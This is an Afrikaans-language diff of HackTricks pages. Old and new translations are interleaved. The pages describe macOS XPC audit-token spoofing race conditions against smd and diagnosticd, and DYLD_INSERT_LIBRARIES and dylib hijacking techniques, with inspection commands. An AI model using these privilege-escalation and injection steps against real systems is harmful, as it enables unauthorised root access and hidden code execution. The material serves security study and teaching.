## Variant 1: aanroep xpc\_connection\_get\_audit\_token buite 'n gebeurtenis hanteerder <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
Scenario:
* Twee mach-diens **`A`** en **`B`** waaraan ons albei kan koppel (gebaseer op die sandboksprofiel en die magtigingskontroles voor die aanvaarding van die verbinding).
* _**A**_ moet 'n **magtigingskontrole** hê vir 'n spesifieke aksie wat **`B`** kan deurgee (maar ons program kan nie).
* Byvoorbeeld, as B sekere **bevoegdhede** het of as **root** uitgevoer word, kan dit hom toelaat om A te vra om 'n bevoorregte aksie uit te voer.
* Vir hierdie magtigingskontrole verkry **`A`** die oudit-token asinkronies, byvoorbeeld deur `xpc_connection_get_audit_token` vanaf **`dispatch_async`** te roep.
* Twee mach dienste **`A`** en **`B`** waartoe ons albei kan verbind (gebaseer op die sandbox profiel en die outorisering kontroles voordat die verbinding aanvaar word).
* _**A**_ moet 'n **outorisering kontrole** hê vir 'n spesifieke aksie wat **`B`** kan oorhandig (maar ons app kan nie).
* Byvoorbeeld, as B sekere **regte** het of as **root** loop, kan dit hom toelaat om A te vra om 'n bevoorregte aksie uit te voer.
* Vir hierdie outorisering kontrole, **`A`** verkry die audit token asynchrone, byvoorbeeld deur `xpc_connection_get_audit_token` aan te roep vanaf **`dispatch_async`**.
{% hint style="danger" %}
In hierdie geval kan 'n aanvaller 'n **Race Condition** veroorsaak deur 'n **aanval** te maak wat **A vra om 'n aksie uit te voer** verskeie kere terwyl **B boodskappe na `A` stuur**. Wanneer die RC **suksesvol** is, sal die **oudit-token** van **B** in die geheue gekopieer word **terwyl** die versoek van ons **aanval** deur A hanteer word, wat dit **toegang gee tot die bevoorregte aksie wat net B kon aanvra**.
In hierdie geval kan 'n aanvaller 'n **Race Condition** aktiveer wat 'n **eksploiteer** maak wat **A vra om 'n aksie** verskeie kere uit te voer terwyl hy **B boodskappe na `A`** laat stuur. Wanneer die RC **suksesvol** is, sal die **audit token** van **B** in geheue **gekopieer** word **terwyl** die versoek van ons **eksploiteer** deur A **hanteer** word, wat dit **toegang gee tot die bevoorregte aksie wat slegs B kon aanvra**.
{% endhint %}
Dit het met **`A`** as `smd` en **`B`** as `diagnosticd` gebeur. Die funksie [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) van smb kan gebruik word om 'n nuwe bevoorregte hulpmiddel te installeer (as **root**). As 'n **proses wat as root uitgevoer word** **smd** kontak, sal geen ander kontroles uitgevoer word nie.
Dit het gebeur met **`A`** as `smd` en **`B`** as `diagnosticd`. Die funksie [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) van smb kan gebruik word om 'n nuwe bevoorregte helper gereedskap te installeer (as **root**). As 'n **proses wat as root loop** **smd** kontak, sal geen ander kontroles uitgevoer word nie.
Daarom is die diens **B** **`diagnosticd`** omdat dit as **root** uitgevoer word en gebruik kan word om 'n proses te **monitor**, so sodra die monitering begin het, sal dit **meervoudige boodskappe per sekonde stuur.**
Daarom is die diens **B** **`diagnosticd`** omdat dit as **root** loop en gebruik kan word om 'n proses te **monitor**, so sodra monitering begin het, sal dit **meerdere boodskappe per sekonde stuur.**
Om die aanval uit te voer:
1. Begin 'n **verbinding** met die diens genaamd `smd` deur die standaard XPC-protokol te gebruik.
2. Vorm 'n sekondêre **verbinding** met `diagnosticd`. In teenstelling met die normale prosedure, in plaas daarvan om twee nuwe mach-poorte te skep en te stuur, word die kliëntpoort sendreg vervang met 'n duplikaat van die **sendreg** wat geassosieer word met die `smd`-verbinding.
3. As gevolg hiervan kan XPC-boodskappe na `diagnosticd` gestuur word, maar antwoorde van `diagnosticd` word na `smd` omgelei. Vir `smd` lyk dit asof die boodskappe van beide die gebruiker en `diagnosticd` van dieselfde verbinding afkomstig is.
1. Begin 'n **verbinding** na die diens genaamd `smd` met behulp van die standaard XPC protokol.
2. Vorm 'n sekondêre **verbinding** na `diagnosticd`. In teenstelling met die normale prosedure, eerder as om twee nuwe mach poorte te skep en te stuur, word die kliëntpoort stuurreg vervang met 'n duplikaat van die **stuurreg** geassosieer met die `smd` verbinding.
3. As gevolg hiervan kan XPC boodskappe na `diagnosticd` gestuur word, maar antwoorde van `diagnosticd` word hergeroute na `smd`. Vir `smd` lyk dit asof die boodskappe van beide die gebruiker en `diagnosticd` van dieselfde verbinding afkomstig is.
![Beeld wat die aanvalproses uitbeeld](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
![Beeld wat die eksploiteer proses uitbeeld](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Die volgende stap behels om `diagnosticd` te instrueer om die monitering van 'n gekose proses te begin (moontlik die gebruiker se eie). Gelyktydig word 'n vloed van rutine 1004-boodskappe na `smd` gestuur. Die doel hier is om 'n hulpmiddel met verhoogde bevoegdhede te installeer.
5. Hierdie aksie veroorsaak 'n wedloopstoestand binne die `handle_bless`-funksie. Die tydsberekening is krities: die `xpc_connection_get_pid`-funksieoproep moet die PID van die gebruiker se proses teruggee (aangesien die bevoorregte instrument in die gebruiker se toepassingsbundel woon). Die `xpc_connection_get_audit_token`-funksie, spesifiek binne die `connection_is_authorized`-subroetine, moet egter verwys na die oudit-token wat aan `diagnosticd` behoort.
4. Die volgende stap behels om `diagnosticd` te instrueer om monitering van 'n gekose proses (potensieel die gebruiker se eie) te begin. Gelyktydig word 'n vloed van roetine 1004 boodskappe na `smd` gestuur. Die bedoeling hier is om 'n gereedskap met verhoogde regte te installeer.
5. Hierdie aksie aktiveer 'n race condition binne die `handle_bless` funksie. Die tydsberekening is krities: die `xpc_connection_get_pid` funksie aanroep moet die PID van die gebruiker se proses teruggee (aangesien die bevoorregte gereedskap in die gebruiker se app bundel is). Maar die `xpc_connection_get_audit_token` funksie, spesifiek binne die `connection_is_authorized` subroutine, moet die audit token wat aan `diagnosticd` behoort, verwys.
## Variante 2: antwoord deurstuur
## Variant 2: antwoord herleiding
In 'n XPC (Kruisproseskommunikasie) omgewing, alhoewel gebeurtenishanteerders nie gelyktydig uitgevoer word nie, het die hantering van antwoordboodskappe 'n unieke gedrag. Spesifiek bestaan daar twee onderskeie metodes vir die stuur van boodskappe wat 'n antwoord verwag:
In 'n XPC (Cross-Process Communication) omgewing, alhoewel gebeurtenis hanteerders nie gelyktydig uitvoer nie, het die hantering van antwoord boodskappe 'n unieke gedrag. Spesifiek bestaan daar twee verskillende metodes om boodskappe te stuur wat 'n antwoord verwag:
1. **`xpc_connection_send_message_with_reply`**: Hier word die XPC-boodskap ontvang en verwerk op 'n aangewese ry.
2. **`xpc_connection_send_message_with_reply_sync`**: Omgekeerd, in hierdie metode word die XPC-boodskap ontvang en verwerk op die huidige verspreidingsry.
1. **`xpc_connection_send_message_with_reply`**: Hier word die XPC boodskap ontvang en verwerk op 'n aangewese queue.
2. **`xpc_connection_send_message_with_reply_sync`**: Omgekeerd, in hierdie metode, word die XPC boodskap ontvang en verwerk op die huidige afleweringsqueue.
Hierdie onderskeid is noodsaaklik omdat dit die moontlikheid bied vir **antwoordpakketten wat gelyktydig met die uitvoering van 'n XPC-gebeurtenishanterer ontleed kan word**. Merkwaardig, terwyl `_xpc_connection_set_creds` wel sluiting implementeer om teen die gedeeltelike oorskrywing van die oudit-token te beskerm, strek dit nie hierdie beskerming uit na die hele verbindingsvoorwerp nie. Gevolglik skep dit 'n kwesbaarheid waar die oudit-token vervang kan word gedurende die interval tussen die ontleding van 'n pakkie en die uitvoering van sy gebeurtenishanterer.
Hierdie onderskeid is belangrik omdat dit die moontlikheid toelaat van **antwoord pakkette wat gelyktydig geparseer word met die uitvoering van 'n XPC gebeurtenis hanteerder**. Opmerklik is dat terwyl `_xpc_connection_set_creds` wel vergrendeling implementeer om teen die gedeeltelike oorgeskryf van die audit token te beskerm, strek dit nie hierdie beskerming na die hele verbinding objek nie. Gevolglik skep dit 'n kwesbaarheid waar die audit token vervang kan word gedurende die interval tussen die parsing van 'n pakket en die uitvoering van sy gebeurtenis hanteerder.
Om hierdie kwesbaarheid uit te buit, is die volgende opstelling vereis:
Om hierdie kwesbaarheid uit te buit, is die volgende opstelling nodig:
* Twee mach-diens, bekend as **`A`** en **`B`**, wat albei 'n verbinding kan tot stand bring.
* Diens **`A`** moet 'n magtigingskontrole insluit vir 'n spesifieke aksie wat slegs **`B`** kan uitvoer (die gebruiker se aansoek kan nie).
* Twee mach dienste, genoem **`A`** en **`B`**, wat albei 'n verbinding kan vestig.
* Diens **`A`** moet 'n outorisering kontrole insluit vir 'n spesifieke aksie wat slegs **`B`** kan uitvoer (die gebruiker se toepassing kan nie).
* Diens **`A`** moet 'n boodskap stuur wat 'n antwoord verwag.
* Die gebruiker kan 'n boodskap na **`B`** stuur waarop dit sal reageer.
* Die gebruiker kan 'n boodskap na **`B`** stuur wat dit sal antwoord.
Die uitbuitingsproses behels die volgende stappe:
Die eksploitasie proses behels die volgende stappe:
1. Wag vir diens **`A`** om 'n boodskap te stuur wat 'n antwoord verwag.
2. In plaas daarvan om direk aan **`A`** te antwoord, word die antwoordpoort gekaap en gebruik om 'n boodskap aan diens **`B`** te stuur.
3. Daarna word 'n boodskap wat die verbode aksie behels, gestuur, met die verwagting dat dit gelyktydig met die antwoord van **`B`** verwerk sal word.
2. In plaas daarvan om direk aan **`A`** te antwoord, word die antwoordpoort gekaap en gebruik om 'n boodskap na diens **`B`** te stuur.
3. Vervolgens word 'n boodskap wat die verbode aksie behels, gestuur, met die verwagting dat dit gelyktydig verwerk sal word met die antwoord van **`B`**.
Hieronder is 'n visuele voorstelling van die beskryfde aanvalscenario:
Hieronder is 'n visuele voorstelling van die beskryfde aanval scenario:
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (33).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Ontdekkingsprobleme
## Ontdekking Probleme
* **Moeilikheid om Instansies te Vind**: Die soektog na instansies van `xpc_connection_get_audit_token`-gebruik was uitdagend, beide staties en dinamies.
* **Metodologie**: Frida is gebruik om die `xpc_connection_get_audit_token`-funksie te haak, waarby oproepe wat nie van gebeurtenishanteerders afkomstig is, gefiltreer is. Hierdie metode was egter beperk tot die gehaakte proses en het aktiewe gebruik vereis.
* **Analisegereedskap**: Gereedskap soos IDA/Ghidra is gebruik om bereikbare mach-diens te ondersoek, maar die proses was tydrowend, gekompliseer deur oproepe wat die dyld-gedeelde kas betrek.
* **Skripsiebeperkings**: Pogings om die analise vir oproepe na `xpc_connection_get_audit_token` vanaf `dispatch_async`-blokke te skrip, is bemoeilik deur kompleksiteite in die ontleding van blokke en interaksies met die dyld-gedeelde kas.
* **Moeilikhede om Voorbeelde te Vind**: Soek na voorbeelde van `xpc_connection_get_audit_token` gebruik was uitdagend, beide staties en dinamies.
* **Metodologie**: Frida is gebruik om die `xpc_connection_get_audit_token` funksie te haak, wat oproepe gefilter het wat nie van gebeurtenis hanteerders afkomstig was nie. Hierdie metode was egter beperk tot die gehaakte proses en het aktiewe gebruik vereis.
* **Analise Gereedskap**: Gereedskap soos IDA/Ghidra is gebruik om bereikbare mach dienste te ondersoek, maar die proses was tydrowend, bemoeilik deur oproepe wat die dyld gedeelde kas betrek.
* **Scripting Beperkings**: Pogings om die analise te script vir oproepe na `xpc_connection_get_audit_token` van `dispatch_async` blokke was belemmer deur kompleksiteite in die parsing van blokke en interaksies met die dyld gedeelde kas.
## Die regstelling <a href="#the-fix" id="the-fix"></a>
## Die oplossing <a href="#the-fix" id="the-fix"></a>
* **Gerapporteerde Kwessies**: 'n Verslag is aan Apple voorgelê wat die algemene en spesifieke kwessies wat binne `smd` gevind is, beskryf.
* **Apple se Reaksie**: Apple het die probleem in `smd` aangespreek deur `xpc_connection_get_audit_token` met `xpc_dictionary_get_audit_token` te vervang.
* **Aard van die Regstelling**: Die `xpc_dictionary_get_audit_token`-funksie word as veilig beskou omdat dit die oudit-token direk van die mach-boodskap wat aan die ontvang XPC-boodskap gekoppel is, terugkry. Dit is egter nie deel van die openbare API nie, soortgelyk aan `xpc_connection_get_audit_token`.
* **Afswaai van 'n Breër Regstelling**: Dit bly onduidelik waarom Apple nie 'n meer omvattende regstelling geïmplementeer het nie, soos die verwerp van boodskappe wat nie ooreenstem met die gestoorde oudit-token van die verbinding nie. Die moontlikheid van legitieme oudit-tokenveranderings in sekere scenario's (bv. `setuid`-gebruik) mag 'n faktor wees.
* **Huidige Stand**: Die probleem bly voortbestaan in iOS 17 en macOS 14, wat 'n uitdaging vir diegene wat dit wil identifiseer en verstaan, inhou.
* **Gerapporteerde Probleme**: 'n Verslag is aan Apple ingedien wat die algemene en spesifieke probleme wat in `smd` gevind is, uiteengesit het.
* **Apple se Antwoord**: Apple het die probleem in `smd` aangespreek deur `xpc_connection_get_audit_token` met `xpc_dictionary_get_audit_token` te vervang.
* **Natuur van die Oplossing**: Die `xpc_dictionary_get_audit_token` funksie word beskou as veilig aangesien dit die audit token direk van die mach boodskap wat aan die ontvangde XPC boodskap gekoppel is, verkry. Dit is egter nie deel van die publieke API nie, soortgelyk aan `xpc_connection_get_audit_token`.
* **Afwesigheid van 'n Breër Oplossing**: Dit bly onduidelik waarom Apple nie 'n meer omvattende oplossing geïmplementeer het nie, soos om boodskappe wat nie ooreenstem met die gespaarde audit token van die verbinding nie, te verwerp. Die moontlikheid van legitieme audit token veranderinge in sekere scenario's (bv. `setuid` gebruik) mag 'n faktor wees.
* **Huidige Status**: Die probleem bestaan voort in iOS 17 en macOS 14, wat 'n uitdaging vir diegene wat dit wil identifiseer en verstaan.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# macOS Biblioteekinspuiting
# macOS Biblioteek Inspuiting
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% hint style="danger" %}
Die kode van **dyld is oopbron** en kan gevind word op [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) en kan afgelaai word as 'n tar deur 'n **URL soos** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
{% endhint %}
## **Dyld-proses**
{% hint style="danger" %}
Die kode van **dyld is oopbron** en kan gevind word in [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) en kan afgelaai word as 'n tar met 'n **URL soos** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
{% endhint %}
Neem 'n kyk na hoe Dyld biblioteke binne bineêre lêers laai in:
## **Dyld Proses**
Kyk hoe Dyld biblioteke binne binêre laai in:
{% content-ref url="macos-dyld-process.md" %}
[macos-dyld-process.md](macos-dyld-process.md)
@ -28,72 +29,72 @@ Neem 'n kyk na hoe Dyld biblioteke binne bineêre lêers laai in:
## **DYLD\_INSERT\_LIBRARIES**
Dit is soos die [**LD\_PRELOAD op Linux**](../../../../linux-hardening/privilege-escalation/#ld\_preload). Dit maak dit moontlik om 'n proses aan te dui wat uitgevoer gaan word om 'n spesifieke biblioteek van 'n pad te laai (as die omgewingsveranderlike geaktiveer is)
Dit is soos die [**LD\_PRELOAD op Linux**](../../../../linux-hardening/privilege-escalation/#ld\_preload). Dit laat jou toe om 'n proses aan te dui wat gaan loop om 'n spesifieke biblioteek van 'n pad te laai (as die omgewing veranderlike geaktiveer is)
Hierdie tegniek kan ook **gebruik word as 'n ASEP-tegniek** aangesien elke geïnstalleerde aansoek 'n plist genaamd "Info.plist" het wat die **toewysing van omgewingsveranderlikes** moontlik maak deur 'n sleutel genaamd `LSEnvironmental` te gebruik.
Hierdie tegniek kan ook **gebruik word as 'n ASEP tegniek** aangesien elke toepassing wat geïnstalleer is 'n plist genaamd "Info.plist" het wat die **toewysing van omgewingsveranderlikes** met 'n sleutel genaamd `LSEnvironmental` toelaat.
{% hint style="info" %}
Aangesien 2012 het **Apple drasties die krag van die** **`DYLD_INSERT_LIBRARIES`** **verminder**.
Sedert 2012 het **Apple die mag van die** **`DYLD_INSERT_LIBRARIES`** **drasties verminder**.
Gaan na die kode en **kyk na `src/dyld.cpp`**. In die funksie **`pruneEnvironmentVariables`** kan jy sien dat **`DYLD_*`** veranderlikes verwyder word.
Gaan na die kode en **kyk `src/dyld.cpp`**. In die funksie **`pruneEnvironmentVariables`** kan jy sien dat **`DYLD_*`** veranderlikes verwyder word.
In die funksie **`processRestricted`** word die rede vir die beperking gestel. Deur daardie kode te kontroleer, kan jy sien dat die redes is:
In die funksie **`processRestricted`** word die rede vir die beperking gestel. Deur daardie kode te kyk kan jy sien dat die redes is:
* Die bineêre lêer is `setuid/setgid`
* Bestaan van `__RESTRICT/__restrict` afdeling in die macho-bineêre lêer.
* Die sagteware het toekennings (geharde hardlooptyd) sonder [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) toekenning
* Kontroleer **toekennings** van 'n bineêre lêer met: `codesign -dv --entitlements :- </path/to/bin>`
* Die binêre is `setuid/setgid`
* Bestaans van `__RESTRICT/__restrict` afdeling in die macho binêre.
* Die sagteware het regte (harde runtime) sonder [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) regte
* Kyk **regte** van 'n binêre met: `codesign -dv --entitlements :- </path/to/bin>`
In meer opgedateerde weergawes kan jy hierdie logika vind aan die tweede deel van die funksie **`configureProcessRestrictions`.** Wat egter in nuwer weergawes uitgevoer word, is die **begin kontroles van die funksie** (jy kan die ifs verwyder wat verband hou met iOS of simulasie aangesien dit nie in macOS gebruik sal word nie.
In meer opgedateerde weergawes kan jy hierdie logika in die tweede deel van die funksie **`configureProcessRestrictions`** vind. Wat egter in nuwer weergawes uitgevoer word, is die **begin kontroles van die funksie** (jy kan die ifs wat verband hou met iOS of simulasie verwyder, aangesien dit nie in macOS gebruik sal word nie).
{% endhint %}
### Biblioteekvalidering
### Biblioteek Validasie
Selfs al laat die bineêre lêer toe om die **`DYLD_INSERT_LIBRARIES`** omgewingsveranderlike te gebruik, as die bineêre lêer die handtekening van die biblioteek nagaan om dit te laai, sal dit nie 'n aangepaste een laai nie.
Selfs as die binêre die **`DYLD_INSERT_LIBRARIES`** omgewing veranderlike toelaat, as die binêre die handtekening van die biblioteek kontroleer om dit te laai, sal dit nie 'n pasgemaakte laai nie.
Om 'n aangepaste biblioteek te laai, moet die bineêre lêer een van die volgende toekennings hê:
Om 'n pasgemaakte biblioteek te laai, moet die binêre **een van die volgende regte** hê:
* [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
of die bineêre lêer **moet nie** die **geharde hardlooptyd-vlag** of die **biblioteekvalideringsvlag** hê nie.
of die binêre **moet nie** die **harde runtime vlag** of die **biblioteek validasie vlag** hê nie.
Jy kan nagaan of 'n bineêre lêer **geharde hardlooptyd** het met `codesign --display --verbose <bin>` deur die vlag hardlooptyd in **`CodeDirectory`** te kontroleer soos: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
Jy kan kyk of 'n binêre **harde runtime** het met `codesign --display --verbose <bin>` deur die vlag runtime in **`CodeDirectory`** te kontroleer soos: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
Jy kan ook 'n biblioteek laai as dit **onderteken is met dieselfde sertifikaat as die bineêre lêer**.
Jy kan ook 'n biblioteek laai as dit **onderteken is met dieselfde sertifikaat as die binêre**.
Vind 'n voorbeeld oor hoe om hierdie tegniek te (mis)bruik en kontroleer die beperkings in:
Vind 'n voorbeeld van hoe om dit te (mis)bruik en kyk na die beperkings in:
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert_libraries.md)
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
## Dylib-hacking
## Dylib Hijacking
{% hint style="danger" %}
Onthou dat **vorige Biblioteekvalideringsbeperkings ook van toepassing is** om Dylib-hacking-aanvalle uit te voer.
Onthou dat **vorige Biblioteek Validasie beperkings ook van toepassing is** om Dylib hijacking aanvalle uit te voer.
{% endhint %}
Soos in Windows, in MacOS kan jy ook **dylibs kaap** om **toepassings** **willekeurige kode te laat uitvoer** (wel, eintlik vanaf 'n gewone gebruiker mag dit nie moontlik wees nie aangesien jy 'n TCC-toestemming nodig mag hê om binne 'n `.app`-bundel te skryf en 'n biblioteek te kaap).\
Nietemin, die manier waarop **MacOS-toepassings** biblioteke **laai** is **meer beperk** as in Windows. Dit impliseer dat **malware-ontwikkelaars** steeds hierdie tegniek vir **steelsheid** kan gebruik, maar die waarskynlikheid om hierdie tegniek te **misbruik om voorregte te eskaleer is baie laer**.
Soos in Windows, kan jy ook **dylibs** in MacOS **hijack** om **toepassings** **arbitraire** **kode** te **laat uitvoer** (wel, eintlik kan dit nie moontlik wees vanaf 'n gewone gebruiker nie, aangesien jy dalk 'n TCC toestemming nodig het om binne 'n `.app` bundel te skryf en 'n biblioteek te hijack).\
Die manier waarop **MacOS** toepassings **biblioteke laai** is egter **meer beperk** as in Windows. Dit impliseer dat **malware** ontwikkelaars steeds hierdie tegniek vir **stealth** kan gebruik, maar die waarskynlikheid om dit te misbruik om regte te verhoog is baie laer.
Eerstens is dit **meer algemeen** om te vind dat **MacOS-bineêre lêers die volledige pad aandui** na die biblioteke wat gelaai moet word. En tweedens **soek MacOS nooit** in die lêers van die **$PATH** vir biblioteke nie.
Eerstens is dit **meer algemeen** om te vind dat **MacOS binêre die volle pad** na die biblioteke om te laai aandui. En tweedens, **MacOS soek nooit** in die vouers van die **$PATH** vir biblioteke nie.
Die **hoofgedeelte** van die **kode** wat verband hou met hierdie funksionaliteit is in **`ImageLoader::recursiveLoadLibraries`** in `ImageLoader.cpp`.
Die **hoof** deel van die **kode** wat met hierdie funksionaliteit verband hou, is in **`ImageLoader::recursiveLoadLibraries`** in `ImageLoader.cpp`.
Daar is **4 verskillende kopbevele** wat 'n macho-bineêre lêer kan gebruik om biblioteke te laai:
Daar is **4 verskillende kop Commando's** wat 'n macho binêre kan gebruik om biblioteke te laai:
* **`LC_LOAD_DYLIB`**-bevel is die algemene bevel om 'n dylib te laai.
* **`LC_LOAD_WEAK_DYLIB`**-bevel werk soos die vorige een, maar as die dylib nie gevind word nie, gaan die uitvoering voort sonder enige fout.
* **`LC_REEXPORT_DYLIB`**-bevel prokureer (of heruitvoer) die simbole van 'n ander biblioteek.
* **`LC_LOAD_UPWARD_DYLIB`**-bevel word gebruik wanneer twee biblioteke van mekaar afhanklik is (dit word 'n _opwaartse afhanklikheid_ genoem).
* **`LC_LOAD_DYLIB`** opdrag is die algemene opdrag om 'n dylib te laai.
* **`LC_LOAD_WEAK_DYLIB`** opdrag werk soos die vorige een, maar as die dylib nie gevind word nie, gaan die uitvoering voort sonder enige fout.
* **`LC_REEXPORT_DYLIB`** opdrag proxy (of her-exporteer) die simbole van 'n ander biblioteek.
* **`LC_LOAD_UPWARD_DYLIB`** opdrag word gebruik wanneer twee biblioteke op mekaar afhanklik is (dit word 'n _opwaartse afhanklikheid_ genoem).
Daar is egter **2 soorte dylib-hacking**:
Daar is egter **2 tipes dylib hijacking**:
* **Ontbrekende swak gekoppelde biblioteke**: Dit beteken dat die toepassing sal probeer om 'n biblioteek te laai wat nie bestaan nie, gekonfigureer met **LC\_LOAD\_WEAK\_DYLIB**. Dan, **as 'n aanvaller 'n dylib plaas waar dit verwag word, sal dit gelaai word**.
* Die feit dat die skakel "swak" is, beteken dat die toepassing sal bly loop selfs as die biblioteek nie gevind word nie.
* Die **kode wat verband hou** met hierdie is in die funksie `ImageLoaderMachO::doGetDependentLibraries` van `ImageLoaderMachO.cpp` waar `lib->required` slegs `false` is wanneer `LC_LOAD_WEAK_DYLIB` waar is.
* **Vind swak gekoppelde biblioteke** in bineêre lêers met (jy het later 'n voorbeeld oor hoe om kaapbiblioteke te skep):
* **Ontbrekende swak gekoppelde biblioteke**: Dit beteken dat die toepassing sal probeer om 'n biblioteek te laai wat nie bestaan nie, geconfigureer met **LC\_LOAD\_WEAK\_DYLIB**. Dan, **as 'n aanvaller 'n dylib plaas waar dit verwag word om gelaai te word**.
* Die feit dat die skakel "swak" is, beteken dat die toepassing sal voortgaan om te loop selfs as die biblioteek nie gevind word nie.
* Die **kode wat hiermee verband hou** is in die funksie `ImageLoaderMachO::doGetDependentLibraries` van `ImageLoaderMachO.cpp` waar `lib->required` slegs `false` is wanneer `LC_LOAD_WEAK_DYLIB` waar is.
* **Vind swak gekoppelde biblioteke** in binêre met (jy het later 'n voorbeeld van hoe om hijacking biblioteke te skep):
* ```bash
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
cmdsize 56
@ -102,26 +103,26 @@ time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0
compatibility version 1.0.0
```
* **Gekonfigureer met @rpath**: Mach-O-bineêre lêers kan die bevele **`LC_RPATH`** en **`LC_LOAD_DYLIB`** hê. Gebaseer op die **waardes** van daardie bevele, gaan **biblioteke** vanuit **verskillende lêers** gelaai word.
* **`LC_RPATH`** bevat die paaie van sekere lêers wat gebruik word om biblioteke deur die bineêre lêer te laai.
* **`LC_LOAD_DYLIB`** bevat die pad na spesifieke biblioteke om te laai. Hierdie paaie kan **`@rpath`** bevat, wat **vervang** sal word deur die waardes in **`LC_RPATH`**. As daar verskeie paaie in **`LC_RPATH`** is, sal almal gebruik word om die biblioteek te soek om te laai. Voorbeeld:
